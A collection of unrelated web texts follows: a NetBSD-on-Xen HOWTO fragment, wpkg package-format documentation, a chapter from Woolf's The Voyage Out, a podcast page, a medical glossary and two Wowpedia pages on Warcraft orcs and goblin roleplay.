umass) scsibus* at scsi? # SCSI devices sd* at scsibus? target ? lun ? # SCSI disk drives cd* at scsibus? target ? lun ? # SCSI CD-ROM drives NetBSD as a domU in a VPS ========================= The bulk of the HOWTO is about using NetBSD as a dom0 on your own hardware. This section explains how to deal with Xen in a domU as a virtual private server where you do not control or have access to the dom0. VPS operators provide varying degrees of access and mechanisms for configuration. The big issue is usually how one controls which kernel is booted, because the kernel is nominally in the dom0 filesystem (to which VPS users do not normally have acesss). A VPS user may want to compile a kernel for security updates, to run npf, run IPsec, or any other reason why someone would want to change their kernel. One approach is to have an adminstrative interface to upload a kernel, or to select from a prepopulated list. Other approaches are pygrub (deprecated) and pvgrub, which are ways to have a bootloader obtain a kernel from the domU filesystem. This is closer to a regular physical computer, where someone who controls a machine can replace the kernel. pygrub ------- pygrub runs in the dom0 and looks into the domU filesystem. This implies that the domU must have a kernel in a filesystem in a format known to pygrub. As of 2014, pygrub seems to be of mostly historical interest. pvgrub ------ pvgrub is a version of grub that uses PV operations instead of BIOS calls. It is booted from the dom0 as the domU kernel, and then reads /grub/menu.lst and loads a kernel from the domU filesystem. []( uses this approach to let users choose their own operating system and kernel. See then [ NetBSD HOWTO]( Because [grub's FFS code]( appears not to support all aspects of modern FFS, typically one has an ext2 or FAT partition for the kernel, so that grub can understand it, which leads to /netbsd not being the actual kernel. One must remember to update the special boot partiion. Amazon ------ TODO: add link to NetBSD amazon howto. Using npf --------- In standard kernels, npf is a module, and thus cannot be loadeed in a DOMU kernel. TODO: explain how to compile npf into a custom kernel, answering (but note that the problem was caused by not booting the right kernel): TODO items for improving NetBSD/xen =================================== * Package Xen 4.4. * Get PCI passthrough working on Xen 4.2 (or 4.4). * Get pvgrub into pkgsrc, either via xentools or separately. * grub * Add support to pkgsrc grub2 for UFS2 and arbitrary fragsize/blocksize (UFS2 support may be present; the point is to make it so that with any UFS1/UFS2 filesystem setup that works with NetBSD grub will also work). * Push patches upstream. * Get UFS2 patches into pvgrub. * Add support for PV ops to a version of /boot, and make it usable as a kernel in Xen, similar to pvgrub. |
global_01_local_0_shard_00002368_processed.jsonl/54050 | Quick Info
The Checksums-Sha256 field can appear in a control file with the checksums of source files. This is used in the Debian environment which verifies the source of each project before compiling it and generating an official Debian package.
wpkg may make use of those fields once it supports source packages. Until then they are ignored.
Debian defines the first line of the field as "must be empty", although there is certainly no reason for such, we also verify that this is the case to be as compatible as possible.
The format of one line is:
<checksum> <file size in byte> <filename>
Syndicate content |
global_01_local_0_shard_00002368_processed.jsonl/54051 | copyright file format
The Debian people have engineered a Copyright file format using the standard field-name / value pair of the control format. This format is also supported by the wpkg tool via the libdebpackages library.
The file format makes use of empty lines. Each group of lines represent a block of information. There are 3 types of blocks:
• The Header block that describes the project globally and that must appear first;
• The Files block which is used to specify the license of a file or group of files, it is expected that at least one such block exist in a copyright file;
• The License block which describes a license that the header or a File block may reference.
From my understanding, the list of File and License blocks does not need to follow a specific order. They just need to be there. Especially, all references to licenses in File and Header blocks need to all be satisfied one way or the other, however, the file is expected to be read in full before such references get resolved.
The following is the list of fields. The order in which fields are defined is not important. The name of the field is case insensitive. The value may be case insensitive or not. Debian makes sure that certain fields have certain formats. We are more flexible although we do check a few fields that are expected to be defined on a single line.
Comment (Header, Files, License: optional)
A free text field giving additional information about the project copyright, the files, or the license where it appears.
Copyright (Header: optional; Files: required)
The copyright of the project (header) or part of the project (Files). The copyright notice is often different for different directories because it is often that different libraries are used in the same project.
Disclaimer (Header: optional)
The disclaimer explains how none of the authors can ever be responsible for anything and such.
Files (Files: required)
Define a list of files that are assigned the license defined in this block.
The files are defined as full path to the file (from the root of the project), patterns, and directories. In the latter, all the files under that directory are considered to all have this license. All the glob patterns supported by the uri_filename implementation are supported here too. This includes the asterisk (*), the question mark (?), and the character groups ([A-Z]). Multiple patterns can be defined when separated by white spaces (which means the format does not support filenames with spaces.)
Note that if multiple Files blocks match a filename, the last one is chosen.
Format (Header: required)
This field describes the format of the copyright file. Debian uses their official documentation page as the format URI:
We propose that you link to our page when using a copyright file with wpkg, although wpkg accepts any valid URI.
License (Header: optional; Files, License: required)
The License field may be a one line reference to License blocks or a full license. In case of a License block, it is expected to only be a full license. The first line is always the name of the license. Multiple licenses can be specified on the first line when the field is used in the Header.
Note that Debian accepts a small set of short license names such as GPL-2.1. We may offer such licenses at some point although it would require the user to install a license package to get the complete license on their system (which Debian does!)
Source (Header: optional)
Typically the URI to the source project. It may also be a free form text explaining the origin of the project.
Upstream-Contact (Header: optional)
In most cases, the author(s) of the original package.
Upstream-Name (Header: optional)
In most cases, the name of the original package.
Syndicate content |
global_01_local_0_shard_00002368_processed.jsonl/54061 | Printer Friendly
Chapter XVI
"I'd like to be in England!"
"But England," Rachel murmured in the absorbed tone of one whose eyes are concentrated upon some sight. "What d'you want with England?"
"My friends chiefly," he said, "and all the things one does."
"You write novels?" she asked.
"Oh yes," he said. "That is, I want to write them."
She would not take her large grey eyes off his face.
"Novels," she repeated. "Why do you write novels? You ought to write music. Music, you see"--she shifted her eyes, and became less desirable as her brain began to work, inflicting a certain change upon her face--"music goes straight for things. It says all there is to say at once. With writing it seems to me there's so much"--she paused for an expression, and rubbed her fingers in the earth--"scratching on the matchbox. Most of the time when I was reading Gibbon this afternoon I was horribly, oh infernally, damnably bored!" She gave a shake of laughter, looking at Hewet, who laughed too.
"I shan't lend you books," he remarked.
"Why is it," Rachel continued, "that I can laugh at Mr. Hirst to you, but not to his face? At tea I was completely overwhelmed, not by his ugliness--by his mind." She enclosed a circle in the air with her hands. She realised with a great sense of comfort who easily she could talk to Hewet, those thorns or ragged corners which tear the surface of some relationships being smoothed away.
"So I observed," said Hewet. "That's a thing that never ceases to amaze me." He had recovered his composure to such an extent that he could light and smoke a cigarette, and feeling her ease, became happy and easy himself.
"The respect that women, even well-educated, very able women, have for men," he went on. "I believe we must have the sort of power over you that we're said to have over horses. They see us three times as big as we are or they'd never obey us. For that very reason, I'm inclined to doubt that you'll ever do anything even when you have the vote." He looked at her reflectively. She appeared very smooth and sensitive and young. "It'll take at least six generations before you're sufficiently thick-skinned to go into law courts and business offices. Consider what a bully the ordinary man is," he continued, "the ordinary hard-working, rather ambitious solicitor or man of business with a family to bring up and a certain position to maintain. And then, of course, the daughters have to give way to the sons; the sons have to be educated; they have to bully and shove for their wives and families, and so it all comes over again. And meanwhile there are the women in the background. . . . Do you really think that the vote will do you any good?"
"The vote?" Rachel repeated. She had to visualise it as a little bit of paper which she dropped into a box before she understood his question, and looking at each other they smiled at something absurd in the question.
"Not to me," she said. "But I play the piano. . . . Are men really like that?" she asked, returning to the question that interested her. "I'm not afraid of you." She looked at him easily.
"Oh, I'm different," Hewet replied. "I've got between six and seven hundred a year of my own. And then no one takes a novelist seriously, thank heavens. There's no doubt it helps to make up for the drudgery of a profession if a man's taken very, very seriously by every one-- if he gets appointments, and has offices and a title, and lots of letters after his name, and bits of ribbon and degrees. I don't grudge it 'em, though sometimes it comes over me--what an amazing concoction! What a miracle the masculine conception of life is--judges, civil servants, army, navy, Houses of Parliament, lord mayors--what a world we've made of it! Look at Hirst now. I assure you," he said, "not a day's passed since we came here without a discussion as to whether he's to stay on at Cambridge or to go to the Bar. It's his career--his sacred career. And if I've heard it twenty times, I'm sure his mother and sister have heard it five hundred times. Can't you imagine the family conclaves, and the sister told to run out and feed the rabbits because St. John must have the school-room to himself--'St. John's working,' 'St. John wants his tea brought to him.' Don't you know the kind of thing? No wonder that St. John thinks it a matter of considerable importance. It is too. He has to earn his living. But St. John's sister--" Hewet puffed in silence. "No one takes her seriously, poor dear. She feeds the rabbits."
"Yes," said Rachel. "I've fed rabbits for twenty-four years; it seems odd now." She looked meditative, and Hewet, who had been talking much at random and instinctively adopting the feminine point of view, saw that she would now talk about herself, which was what he wanted, for so they might come to know each other.
She looked back meditatively upon her past life.
"How do you spend your day?" he asked.
She meditated still. When she thought of their day it seemed to her it was cut into four pieces by their meals. These divisions were absolutely rigid, the contents of the day having to accommodate themselves within the four rigid bars. Looking back at her life, that was what she saw.
"Breakfast nine; luncheon one; tea five; dinner eight," she said.
"Well," said Hewet, "what d'you do in the morning?"
"I need to play the piano for hours and hours."
"And after luncheon?"
"Then I went shopping with one of my aunts. Or we went to see some one, or we took a message; or we did something that had to be done-- the taps might be leaking. They visit the poor a good deal-- old char-women with bad legs, women who want tickets for hospitals. Or I used to walk in the park by myself. And after tea people sometimes called; or in summer we sat in the garden or played croquet; in winter I read aloud, while they worked; after dinner I played the piano and they wrote letters. If father was at home we had friends of his to dinner, and about once a month we went up to the play. Every now and then we dined out; sometimes I went to a dance in London, but that was difficult because of getting back. The people we saw were old family friends, and relations, but we didn't see many people. There was the clergyman, Mr. Pepper, and the Hunts. Father generally wanted to be quiet when he came home, because he works very hard at Hull. Also my aunts aren't very strong. A house takes up a lot of time if you do it properly. Our servants were always bad, and so Aunt Lucy used to do a good deal in the kitchen, and Aunt Clara, I think, spent most of the morning dusting the drawing-room and going through the linen and silver. Then there were the dogs. They had to be exercised, besides being washed and brushed. Now Sandy's dead, but Aunt Clara has a very old cockatoo that came from India. Everything in our house," she exclaimed, "comes from somewhere! It's full of old furniture, not really old, Victorian, things mother's family had or father's family had, which they didn't like to get rid of, I suppose, though we've really no room for them. It's rather a nice house," she continued, "except that it's a little dingy--dull I should say." She called up before her eyes a vision of the drawing-room at home; it was a large oblong room, with a square window opening on the garden. Green plush chairs stood against the wall; there was a heavy carved book-case, with glass doors, and a general impression of faded sofa covers, large spaces of pale green, and baskets with pieces of wool-work dropping out of them. Photographs from old Italian masterpieces hung on the walls, and views of Venetian bridges and Swedish waterfalls which members of the family had seen years ago. There were also one or two portraits of fathers and grandmothers, and an engraving of John Stuart Mill, after the picture by Watts. It was a room without definite character, being neither typically and openly hideous, nor strenuously artistic, nor really comfortable. Rachel roused herself from the contemplation of this familiar picture.
"But this isn't very interesting for you," she said, looking up.
"Good Lord!" Hewet exclaimed. "I've never been so much interested in my life." She then realised that while she had been thinking of Richmond, his eyes had never left her face. The knowledge of this excited her.
"Go on, please go on," he urged. "Let's imagine it's a Wednesday. You're all at luncheon. You sit there, and Aunt Lucy there, and Aunt Clara here"; he arranged three pebbles on the grass between them.
"Aunt Clara carves the neck of lamb," Rachel continued. She fixed her gaze upon the pebbles. "There's a very ugly yellow china stand in front of me, called a dumb waiter, on which are three dishes, one for biscuits, one for butter, and one for cheese. There's a pot of ferns. Then there's Blanche the maid, who snuffles because of her nose. We talk--oh yes, it's Aunt Lucy's afternoon at Walworth, so we're rather quick over luncheon. She goes off. She has a purple bag, and a black notebook. Aunt Clara has what they call a G.F.S. meeting in the drawing-room on Wednesday, so I take the dogs out. I go up Richmond Hill, along the terrace, into the park. It's the 18th of April--the same day as it is here. It's spring in England. The ground is rather damp. However, I cross the road and get on to the grass and we walk along, and I sing as I always do when I'm alone, until we come to the open place where you can see the whole of London beneath you on a clear day. Hampstead Church spire there, Westminster Cathedral over there, and factory chimneys about here. There's generally a haze over the low parts of London; but it's often blue over the park when London's in a mist. It's the open place that the balloons cross going over to Hurlingham. They're pale yellow. Well, then, it smells very good, particularly if they happen to be burning wood in the keeper's lodge which is there. I could tell you now how to get from place to place, and exactly what trees you'd pass, and where you'd cross the roads. You see, I played there when I was small. Spring is good, but it's best in the autumn when the deer are barking; then it gets dusky, and I go back through the streets, and you can't see people properly; they come past very quick, you just see their faces and then they're gone--that's what I like--and no one knows in the least what you're doing--"
"But you have to be back for tea, I suppose?" Hewet checked her.
"Tea? Oh yes. Five o'clock. Then I say what I've done, and my aunts say what they've done, and perhaps some one comes in: Mrs. Hunt, let's suppose. She's an old lady with a lame leg. She has or she once had eight children; so we ask after them. They're all over the world; so we ask where they are, and sometimes they're ill, or they're stationed in a cholera district, or in some place where it only rains once in five months. Mrs. Hunt," she said with a smile, "had a son who was hugged to death by a bear."
Here she stopped and looked at Hewet to see whether he was amused by the same things that amused her. She was reassured. But she thought it necessary to apologise again; she had been talking too much.
"You can't conceive how it interests me," he said. Indeed, his cigarette had gone out, and he had to light another.
"Why does it interest you?" she asked.
"Partly because you're a woman," he replied. When he said this, Rachel, who had become oblivious of anything, and had reverted to a childlike state of interest and pleasure, lost her freedom and became self-conscious. She felt herself at once singular and under observation, as she felt with St. John Hirst. She was about to launch into an argument which would have made them both feel bitterly against each other, and to define sensations which had no such importance as words were bound to give them when Hewet led her thoughts in a different direction.
"I've often walked along the streets where people live all in a row, and one house is exactly like another house, and wondered what on earth the women were doing inside," he said. "Just consider: it's the beginning of the twentieth century, and until a few years ago no woman had ever come out by herself and said things at all. There it was going on in the background, for all those thousands of years, this curious silent unrepresented life. Of course we're always writing about women--abusing them, or jeering at them, or worshipping them; but it's never come from women themselves. I believe we still don't know in the least how they live, or what they feel, or what they do precisely. If one's a man, the only confidences one gets are from young women about their love affairs. But the lives of women of forty, of unmarried women, of working women, of women who keep shops and bring up children, of women like your aunts or Mrs. Thornbury or Miss Allan-- one knows nothing whatever about them. They won't tell you. Either they're afraid, or they've got a way of treating men. It's the man's view that's represented, you see. Think of a railway train: fifteen carriages for men who want to smoke. Doesn't it make your blood boil? If I were a woman I'd blow some one's brains out. Don't you laugh at us a great deal? Don't you think it all a great humbug? You, I mean--how does it all strike you?"
His determination to know, while it gave meaning to their talk, hampered her; he seemed to press further and further, and made it appear so important. She took some time to answer, and during that time she went over and over the course of her twenty-four years, lighting now on one point, now on another--on her aunts, her mother, her father, and at last her mind fixed upon her aunts and her father, and she tried to describe them as at this distance they appeared to her.
They were very much afraid of her father. He was a great dim force in the house, by means of which they held on to the great world which is represented every morning in the Times. But the real life of the house was something quite different from this. It went on independently of Mr. Vinrace, and tended to hide itself from him. He was good-humoured towards them, but contemptuous. She had always taken it for granted that his point of view was just, and founded upon an ideal scale of things where the life of one person was absolutely more important than the life of another, and that in that scale they were much less importance than he was. But did she really believe that? Hewet's words made her think. She always submitted to her father, just as they did, but it was her aunts who influenced her really; her aunts who built up the fine, closely woven substance of their life at home. They were less splendid but more natural than her father was. All her rages had been against them; it was their world with its four meals, its punctuality, and servants on the stairs at half-past ten, that she examined so closely and wanted so vehemently to smash to atoms. Following these thoughts she looked up and said:
"And there's a sort of beauty in it--there they are at Richmond at this very moment building things up. They're all wrong, perhaps, but there's a sort of beauty in it," she repeated. "It's so unconscious, so modest. And yet they feel things. They do mind if people die. Old spinsters are always doing things. I don't quite know what they do. Only that was what I felt when I lived with them. It was very real."
She reviewed their little journeys to and fro, to Walworth, to charwomen with bad legs, to meetings for this and that, their minute acts of charity and unselfishness which flowered punctually from a definite view of what they ought to do, their friendships, their tastes and habits; she saw all these things like grains of sand falling, falling through innumerable days, making an atmosphere and building up a solid mass, a background. Hewet observed her as she considered this.
"Were you happy?" he demanded.
Again she had become absorbed in something else, and he called her back to an unusually vivid consciousness of herself.
"I was both," she replied. "I was happy and I was miserable. You've no conception what it's like--to be a young woman." She looked straight at him. "There are terrors and agonies," she said, keeping her eye on him as if to detect the slightest hint of laughter.
"I can believe it," he said. He returned her look with perfect sincerity.
"Women one sees in the streets," she said.
"Men kissing one."
He nodded his head.
"You were never told?"
She shook her head.
"And then," she began and stopped. Here came in the great space of life into which no one had ever penetrated. All that she had been saying about her father and her aunts and walks in Richmond Park, and what they did from hour to hour, was merely on the surface. Hewet was watching her. Did he demand that she should describe that also? Why did he sit so near and keep his eye on her? Why did they not have done with this searching and agony? Why did they not kiss each other simply? She wished to kiss him. But all the time she went on spinning out words.
"A girl is more lonely than a boy. No one cares in the least what she does. Nothing's expected of her. Unless one's very pretty people don't listen to what you say. . . . And that is what I like," she added energetically, as if the memory were very happy. "I like walking in Richmond Park and singing to myself and knowing it doesn't matter a damn to anybody. I like seeing things go on--as we saw you that night when you didn't see us-- I love the freedom of it--it's like being the wind or the sea." She turned with a curious fling of her hands and looked at the sea. It was still very blue, dancing away as far as the eye could reach, but the light on it was yellower, and the clouds were turning flamingo red.
A feeling of intense depression crossed Hewet's mind as she spoke. It seemed plain that she would never care for one person rather than another; she was evidently quite indifferent to him; they seemed to come very near, and then they were as far apart as ever again; and her gesture as she turned away had been oddly beautiful.
"Nonsense," he said abruptly. "You like people. You like admiration. Your real grudge against Hirst is that he doesn't admire you."
She made no answer for some time. Then she said:
"That's probably true. Of course I like people--I like almost every one I've ever met."
She turned her back on the sea and regarded Hewet with friendly if critical eyes. He was good-looking in the sense that he had always had a sufficiency of beef to eat and fresh air to breathe. His head was big; the eyes were also large; though generally vague they could be forcible; and the lips were sensitive. One might account him a man of considerable passion and fitful energy, likely to be at the mercy of moods which had little relation to facts; at once tolerant and fastidious. The breadth of his forehead showed capacity for thought. The interest with which Rachel looked at him was heard in her voice.
"What novels do you write?" she asked.
"I want to write a novel about Silence," he said; "the things people don't say. But the difficulty is immense." He sighed. "However, you don't care," he continued. He looked at her almost severely. "Nobody cares. All you read a novel for is to see what sort of person the writer is, and, if you know him, which of his friends he's put in. As for the novel itself, the whole conception, the way one's seen the thing, felt about it, make it stand in relation to other things, not one in a million cares for that. And yet I sometimes wonder whether there's anything else in the whole world worth doing. These other people," he indicated the hotel, "are always wanting something they can't get. But there's an extraordinary satisfaction in writing, even in the attempt to write. What you said just now is true: one doesn't want to be things; one wants merely to be allowed to see them."
Some of the satisfaction of which he spoke came into his face as he gazed out to sea.
It was Rachel's turn now to feel depressed. As he talked of writing he had become suddenly impersonal. He might never care for any one; all that desire to know her and get at her, which she had felt pressing on her almost painfully, had completely vanished.
"Are you a good writer?" she asked.
"Yes," he said. "I'm not first-rate, of course; I'm good second-rate; about as good as Thackeray, I should say."
Rachel was amazed. For one thing it amazed her to hear Thackeray called second-rate; and then she could not widen her point of view to believe that there could be great writers in existence at the present day, or if there were, that any one she knew could be a great writer, and his self-confidence astounded her, and he became more and more remote.
"My other novel," Hewet continued, "is about a young man who is obsessed by an idea--the idea of being a gentleman. He manages to exist at Cambridge on a hundred pounds a year. He has a coat; it was once a very good coat. But the trousers-- they're not so good. Well, he goes up to London, gets into good society, owing to an early-morning adventure on the banks of the Serpentine. He is led into telling lies--my idea, you see, is to show the gradual corruption of the soul--calls himself the son of some great landed proprietor in Devonshire. Meanwhile the coat becomes older and older, and he hardly dares to wear the trousers. Can't you imagine the wretched man, after some splendid evening of debauchery, contemplating these garments--hanging them over the end of the bed, arranging them now in full light, now in shade, and wondering whether they will survive him, or he will survive them? Thoughts of suicide cross his mind. He has a friend, too, a man who somehow subsists upon selling small birds, for which he sets traps in the fields near Uxbridge. They're scholars, both of them. I know one or two wretched starving creatures like that who quote Aristotle at you over a fried herring and a pint of porter. Fashionable life, too, I have to represent at some length, in order to show my hero under all circumstances. Lady Theo Bingham Bingley, whose bay mare he had the good fortune to stop, is the daughter of a very fine old Tory peer. I'm going to describe the kind of parties I once went to--the fashionable intellectuals, you know, who like to have the latest book on their tables. They give parties, river parties, parties where you play games. There's no difficulty in conceiving incidents; the difficulty is to put them into shape--not to get run away with, as Lady Theo was. It ended disastrously for her, poor woman, for the book, as I planned it, was going to end in profound and sordid respectability. Disowned by her father, she marries my hero, and they live in a snug little villa outside Croydon, in which town he is set up as a house agent. He never succeeds in becoming a real gentleman after all. That's the interesting part of it. Does it seem to you the kind of book you'd like to read?" he enquired; "or perhaps you'd like my Stuart tragedy better," he continued, without waiting for her to answer him. "My idea is that there's a certain quality of beauty in the past, which the ordinary historical novelist completely ruins by his absurd conventions. The moon becomes the Regent of the Skies. People clap spurs to their horses, and so on. I'm going to treat people as though they were exactly the same as we are. The advantage is that, detached from modern conditions, one can make them more intense and more abstract then people who live as we do."
Rachel had listened to all this with attention, but with a certain amount of bewilderment. They both sat thinking their own thoughts.
"I'm not like Hirst," said Hewet, after a pause; he spoke meditatively; "I don't see circles of chalk between people's feet. I sometimes wish I did. It seems to me so tremendously complicated and confused. One can't come to any decision at all; one's less and less capable of making judgments. D'you find that? And then one never knows what any one feels. We're all in the dark. We try to find out, but can you imagine anything more ludicrous than one person's opinion of another person? One goes along thinking one knows; but one really doesn't know."
As he said this he was leaning on his elbow arranging and rearranging in the grass the stones which had represented Rachel and her aunts at luncheon. He was speaking as much to himself as to Rachel. He was reasoning against the desire, which had returned with intensity, to take her in his arms; to have done with indirectness; to explain exactly what he felt. What he said was against his belief; all the things that were important about her he knew; he felt them in the air around them; but he said nothing; he went on arranging the stones.
"I like you; d'you like me?" Rachel suddenly observed.
"I like you immensely," Hewet replied, speaking with the relief of a person who is unexpectedly given an opportunity of saying what he wants to say. He stopped moving the pebbles.
"Mightn't we call each other Rachel and Terence?" he asked.
"Terence," Rachel repeated. "Terence--that's like the cry of an owl."
She looked up with a sudden rush of delight, and in looking at Terence with eyes widened by pleasure she was struck by the change that had come over the sky behind them. The substantial blue day had faded to a paler and more ethereal blue; the clouds were pink, far away and closely packed together; and the peace of evening had replaced the heat of the southern afternoon, in which they had started on their walk.
"It must be late!" she exclaimed.
It was nearly eight o'clock.
"But eight o'clock doesn't count here, does it?" Terence asked, as they got up and turned inland again. They began to walk rather quickly down the hill on a little path between the olive trees.
They felt more intimate because they shared the knowledge of what eight o'clock in Richmond meant. Terence walked in front, for there was not room for them side by side.
"What I want to do in writing novels is very much what you want to do when you play the piano, I expect," he began, turning and speaking over his shoulder. "We want to find out what's behind things, don't we?-- Look at the lights down there," he continued, "scattered about anyhow. Things I feel come to me like lights. . . . I want to combine them.
. . . Have you ever seen fireworks that make figures? . . . I want to make figures. . . . Is that what you want to do?"
"When I play the piano? Music is different. . . . But I see what you mean." They tried to invent theories and to make their theories agree. As Hewet had no knowledge of music, Rachel took his stick and drew figures in the thin white dust to explain how Bach wrote his fugues.
"My musical gift was ruined," he explained, as they walked on after one of these demonstrations, "by the village organist at home, who had invented a system of notation which he tried to teach me, with the result that I never got to the tune-playing at all. My mother thought music wasn't manly for boys; she wanted me to kill rats and birds--that's the worst of living in the country. We live in Devonshire. It's the loveliest place in the world. Only--it's always difficult at home when one's grown up. I'd like you to know one of my sisters. . . . Oh, here's your gate--" He pushed it open. They paused for a moment. She could not ask him to come in. She could not say that she hoped they would meet again; there was nothing to be said, and so without a word she went through the gate, and was soon invisible. Directly Hewet lost sight of her, he felt the old discomfort return, even more strongly than before. Their talk had been interrupted in the middle, just as he was beginning to say the things he wanted to say. After all, what had they been able to say? He ran his mind over the things they had said, the random, unnecessary things which had eddied round and round and used up all the time, and drawn them so close together and flung them so far apart, and left him in the end unsatisfied, ignorant still of what she felt and of what she was like. What was the use of talking, talking, merely talking?
|
global_01_local_0_shard_00002368_processed.jsonl/54062 | “Kick” by Jen Conley
Word Crimes Podcast LogoTitle 18: Word Crimes Podcast
“Kick” by Jen Conley (S1E8)
On this episode, Scott Detrow reads the short story “Kick” by Jen Conley. “Kick” was originally published by Literary Orphans.
Subscribe to the Word Crimes podcast for free on iTunes or Stitcher!
“Kick” by Jen Conley on the Title 18: Word Crimes Podcast
Episode links:
You can listen to more Title 18: Word Crimes podcasts here.
Did you enjoy this episode? Let us know by posting a comment here, on Twitter or Facebook — or, best of all, rate the podcast on iTunes or Stitcher. Thanks!
Leave a Reply
WordPress.com Logo
Google photo
Twitter picture
Facebook photo
Connecting to %s |
global_01_local_0_shard_00002368_processed.jsonl/54064 |
A disorder in which the blood vessels are exceptionally fragile.
Hardening and thickening of the walls of blood vessels.
Known as angiopathy, this is a disease of the blood vessels (arteries, veins, and capillaries) that occurs when someone has diabetes for a long time.
There are two types of angiopathy: macroangiopathy and microangiopathy. In macroangiopathy, fat and blood clots build up in the large blood vessels, stick to the vessel walls, and block the flow of blood. In microangiopathy, the walls of the smaller blood vessels become so thick and weak that they bleed, leak protein, and slow the flow of blood through the body. Then the cells, for example: the ones in the center of the eye, do not get enough blood and may be damaged.
angiostenosis (s) (noun), angiostenoses (pl)
1. A narrowing of the caliber or internal diameter of a blood vessel.
2. The calcific degeneration of the walls of blood vessels or lymphatics.
1. Ossification or calcification of a vessel.
2. Calcified degeneration of the walls of blood vessels or lymphatics.
angiothrombosis, angiothrombotic
Blood vessel thrombosis.
A reduction in peripheral blood counts resulting from impairment of hematopoiesis (lack of blood formation).
1. Absence of sweat.
2. Not sweating.
3. The deficiency or absence of perspiration.
For some people, the inability to sweat may seem a blessing; but it is not, since to sweat makes it possible for us to stay cooler. Anhidrosis creates a dangerous inability to tolerate heat.
anhydrobiosis (s) (noun), anhydrobioses (pl)
1. Dormancy induced by low humidity or by drying out: The seeds of many desert plants go into a state of anhydrobiosis when there is no rainfall for an extended period of time.
2. A state caused by dehydration, in which an organism's metabolism (rate of bodily function) is reduced to an imperceptible level: Dr. Sneed, the veterinarian, was very concerned about the extreme state of anhydrobioses in the dog that was brought into his office because its body processes were barely detectable.
Sexual impotence.
antagonistic symbiosis, antipathetic symbiosis
A type of symbiosis that is beneficial to one symbiont and detrimental to another one; for example, "parasitism".
anthraconecrosis (s), anthraconecroses (pl) (nouns)
The degeneration, or death, of tissue into a black mass.
A mixed condition of anthracosis or fibrous tissue and scarring of the lungs because of repeated inhalation of dust and silicosis.
anthracosis; miner's lung, black lung disease, coal worker's pneumoconiosis, miner's pneumoconiosis
1. A disease of the lungs caused by the long-term inhalation of coal dust.
2. A chronic lung disease characterized by the deposit of coal dust, smoke, and carbon in the lungs and by the formation of black nodules on the bronchioles.
anthropomorphosis (s) (noun), anthropomorphoses (pl)
Transformation into human form. |
global_01_local_0_shard_00002368_processed.jsonl/54077 | Chaos orc
From Wowpedia
Jump to: navigation, search
Chaos orcs
Cenarius v Grommash.jpg
Grommash and his forces as chaos orcs fighting Cenarius and the night elves
Character classes
Racial leader(s)
Racial mount
Chaos orcs are orcs that drank from Mannoroth's Chaos Well in Ashenvale Forest and became corrupted.They were orcs of the Warsong clan that followed Grom Hellscream's decision to drink from the well to gain power in order to defeat Cenarius and his forces (Shadowleaves, Moonhunters, and Nightblades). By drinking from the well, they were further corrupted with more of Mannoroth's blood, turning red and growing larger.[1]
Chaos orcs were capable of causing special damage known as Chaos damage. Chaos orcs were units seen in the Warcraft III: Reign of Chaos orc campaign.
Chaos orcs also fought under the banner of the Burning Blade during the First War. Some of the orcs who passed through the Dark Portal were driven mad, becoming chaos orcs and joining the Burning Blade.[2]
Known chaos orcs
Warsong clan chaos orcs standing with demons.
In the RPG
Chaos orcs, also known as fel orcs, are the creation of Mannoroth, who "blessed" the orc race by infusing within them fel energies and binding their will to the Burning Legion. While Grom's sacrifice freed most of his race, many orcs remain loyal to Mannoroth and worship the demons, gaining tremendous strength in exchange for their service. While not all demon-worshiping orcs are fel orcs, more than enough still partake of demon blood for the strength it grants them.[3]
Speculations and theories
There could be some level of distinction between chaos orcs and fel orcs. The Monster Guide says that fel orcs are also known as chaos orcs[4] (and thus are not separate), however, this source is non-canon. It's also not known if the Slave Master and Jubei'Thos who appeared in Reign of Chaos campaigns in Lordaeron can be considered chaos orcs, fel orcs or something different. All the Warcraft III icons for red skin orcs have the word Chaos in their file name, and the World editor sound set for Slave Master is "ChaosWarlord".
Grom's chaos orcs in Warcraft III: Reign of Chaos have the same models as fel orcs in Outland in Warcraft III: The Frozen Throne, other than having red skin they looked like regular orcs.
In Grom's case he was reverted back to a regular green skin orc with the help of a special ritual of orcish and elven magics. It's not known if other orcs that turned into chaos orcs reverted back to green skin orcs, but as red skin orcs don't appear in vanilla World of Warcraft it can be presumed.
It's possible that with continued exposure to the corruption from Mannoroth's blood they may have mutated into the more physically demonic fel orcs. However, both are created from Pit Lord blood and there may be 'intermediate' fel orc stages that chaos orcs may be a part of.
There is also a chance that the difference is related to the possibility that "fel orcs" as we know them were not conceived by Blizzard until The Frozen Throne. The use of the term "Chaos" seemed to be replaced with its synonym of "Fel", possibly to avoid a direct reference to the IPs of Games Workshop, like the changes to dwarven vehicles.
Quartermaster Dekrok, may be a chaos orc, a fel orc or something different.
Cataclysm This section concerns content related to Cataclysm.
Red skinned orcs appear as one of the random Horde Portal-Sentries that are guarding the Dark Portal for the Horde along with the Alliance. The general goods vendor, Quartermaster Dekrok, also has a red-skinned orc model. They may be chaos orcs, or they may be fel orcs. Also, they might be another color of Mag'har, or this may be a simple skin error. |
global_01_local_0_shard_00002368_processed.jsonl/54078 | This article needs to be cleaned up.
How to roleplay a goblin
From Wowpedia
Jump to: navigation, search
Character classes
Main language
Secondary language
Starting zone
None, formerly the The Undermine
How to roleplay
Alliance Alliance
Night elf
Void elf
Lightforged draenei
Dark Iron dwarf
Horde Horde
Blood elf
Highmountain tauren
Mag'har orc
Neutral Neutral
This is a quick guide to goblin roleplay.
When World of Warcraft: Cataclysm was announced, goblins were shown to be the new Horde race. There are several ways to create a goblin character with an interesting back story and personality. This guide, hopefully, will give you a little more insight on how to create and roleplay your created goblin character.
The main cartel of the player goblins is the Bilgewater Cartel, but that doesn't mean your character has to be one of them as Trade Prince Gallywix sold tickets to any goblin willing to give up their life savings in exchange for a boat off Kezan. You could side with the Horde fully, or you could choose to simply use them as a means to increase your own profit (something goblins are notorious for), and claim to be a member of one of the other major goblin organizations (i.e. the Alchemists' Union, Steamwheedle Cartel, Venture Company).
Be careful, though, some, if not most, of the goblin organizations who haven't sided fully with the Horde are mistrusted by both sides, particularly the Venture Company who is hated by a number of groups across Azeroth.
More on that later.
Greed. That one word helps describe almost all goblins in terms of their hopes, their dreams, their beliefs, and their lifestyles. They won't let anything stop them in their attempts to obtain what they want. They'll take almost any option towards profit that they can - be it alchemy, engineering, thievery, or slavery.
Of course, they are not without their redeeming qualities. While they trust few as true allies, goblins can be extremely loyal. They are famous for the suicide missions they undertook in the second war-- the only reward for the great sacrifice of their lives being to line the pockets of their friends with war profits (although it is possible that part of their motivation could have been psychotic pyrophilia). And although they may be prone to deadly rivalries among their own kind, they are capable of unity when threatened as a whole. [2]
